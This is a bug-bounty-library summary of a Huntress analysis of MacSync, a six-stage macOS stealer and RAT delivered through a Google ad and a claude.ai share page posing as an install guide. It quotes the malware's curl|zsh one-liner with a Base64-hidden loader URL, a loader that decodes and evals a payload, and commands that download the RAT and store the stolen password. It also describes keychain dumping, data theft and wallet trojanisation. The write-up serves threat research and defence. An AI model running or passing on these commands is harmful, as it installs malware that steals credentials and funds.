# Reverse Engineering the Six Stages of MacSync Stealer and RAT

Malvertising ad led to a weaponised claude.ai share whose curl|zsh one-liner installed MacSync, a six-stage macOS stealer/RAT harvesting keychain, browser and wallet secrets.

- Payout: Real-world hack
- Severity: critical
- Program: Apple
- Analysis by: Huntress
- Disclosed: 2026-07-29
- Write-up quality: 9/10
- Original: https://www.huntress.com/blog/macsync-stealer-rat-reverse-engineering
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-macsync-stealer-rat-reverse-engineering
- Tags: area:os domain:desktop impact:ato impact:data-leak impact:funds-loss kind:incident platform:threat-intel sev:critical tech:payment technique:reverse-engineering technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** macOS endpoint (Terminal, LaunchAgent, TCC, Electron wallet apps)
**Root cause:** Operator chained a paid Google ad, a public claude.ai share posing as an Apple Support install guide, and a user-pasted curl|zsh one-liner that fetches a server-side loader; no exploit, only social engineering plus TCC abuse.
**Steps:**
1. Victim searches Google for installing Claude on Mac, clicks sponsored ad (gclid, gad_campaignid=23991223358) landing on claude.ai/share/<id> titled 'Running Claude Code on Mac', badged 'Shared by Apple Support'.
2. Page instructs opening Terminal and pasting `curl -kfsSL $(echo 'aHR0cDovL2FnZW50aWNzb3JhLmNvbS9jdXJsL2FhOGIxYTg2YmJiYWE3Zjk3YXU='|base64 -D)|zsh`.
3. Stage 1 zsh loader base64 -D | gunzip a heredoc payload and `eval` it; Stage 2 daemon_function fetches `hxxp://agenticsora[.]com/dynamic?txd=<token>` and pipes into osascript.
4. Stage 3 AppleScript probes `ls -al ~/Library/Cookies/` for FDA, shows fake 'Full Disk Access required!' dialog, opens `x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles`, appends curl|zsh to ~/.zshrc for re-run after Terminal restart.
5. On second run it loops a fake 'System Preferences' password dialog validated via `dscl . authonly <user> <pass>`, writes confirmed password to /tmp/.kpwd.
6. Decodes /tmp/.kgrab.sh to pull Chromium 'Safe Storage' keys via `security find-generic-password -w -s "Chrome Safe Storage"`, falls back to `security unlock-keychain -p $(cat /tmp/.kpwd)` and keychain dump.
7. Collects browsers, ~21 desktop wallets, Telegram tdata, ~/.ssh, ~/.aws, ~/.kube, Notes, Safari data into /tmp/sync<random>/, archives with `ditto -c -k --sequesterRsrc` to /tmp/osalogging.zip; loader uploads chunks to /gate.
8. Stage 3 downloads `hxxps://agenticsora[.]com/loader/agent/<token>` to ~/.local/com.apple.<id>.hcpi, writes password to ~/.local/.mpwd, builds LaunchAgent plist via PlistBuddy (RunAtLoad, KeepAlive).
9. Stage 5 downloads /loader/capture-agent, re-signs as com.apple.<8hex>.capture, calls CGRequestScreenCaptureAccess to win Screen Recording, shells `/usr/sbin/screencapture -x`.
10. Stage 6 downloads app.asar+Info.plist for installed Ledger Live/Wallet/Trezor, swaps files, ad-hoc re-signs, injected main process navigates to phishing page harvesting BIP39 seed to /modules/wallets.
**How found:** Huntress investigated a victim who thought they were installing Claude; host telemetry (curl|zsh, ~/.zshrc re-pull, /dynamic|osascript, /tmp/osalogging.zip) reconstructed the chain after artifacts were deleted, then they replayed the loader request with spoofed macOS User-Agent and static api-key to pull each stage from attacker servers.
**Exploitation:** Victim self-executes curl|zsh from a trusted claude.ai share; server-side AppleScript walks them through granting Full Disk Access and re-running via ~/.zshrc, phishes the account password with a dscl oracle, unlocks keychain, exfiltrates browser/wallet/SSH/AWS data to /gate, installs a LaunchAgent RAT with AES-256-CBC WebSocket C2 to 85.206.161[.]241:8443, and trojanises installed wallet apps to harvest seed phrases.
**Escalation:** Chains FDA grant → keychain unlock → browser Safe Storage decryption → persistent RAT with interactive shell → signed Screen Recording helper → in-place wallet app trojanisation for ongoing seed theft.
**Insight:** Public share pages on trusted SaaS domains (claude.ai/share) are free, HTTPS, certificate-valid lure hosting; check browser history for aclk/gclid ad-click hops to distinguish paid malvertising from organic SEO poisoning, and replay loader requests with the spoofed UA + api-key to recover server-side stages that never touch disk.

## Proof of concept (copied exactly from the original report)

**Pasted curl one-liner with Base64-hidden loader URL**

```
curl -kfsSL $(echo 'aHR0cDovL2FnZW50aWNzb3JhLmNvbS9jdXJsL2FhOGIxYTg2YmJiYWE3Zjk3YXU='|base64 -D)|zsh
```

**Stage 1 zsh loader heredoc decode and eval**

```
#!/bin/zsh
d30924=$(base64 -D <<'PAYLOAD_m11797186874058' | gunzip
H4sIAPplVmoAA91W72+bOBj+nr/iHaMRrHKBBEjSlnXVrtKqqdupXXXV7abIYJNYIcDFzjXNtv/9
... [~18 lines of Base64] ...
PAYLOAD_m11797186874058
)
eval "$d30924"
```

**Stage 3 installs RAT binary and LaunchAgent**

```
curl -kfsSL 'hxxps://agenticsora[.]com/loader/agent/<token>' -o ~/.local/com.apple.<id>.hcpi
chmod +x ~/.local/com.apple.<id>.hcpi
printf '%s' <password> > ~/.local/.mpwd          # hands the RAT the stolen password
~/.local/com.apple.<id>.hcpi &>/dev/null &     # first launch, this session
```

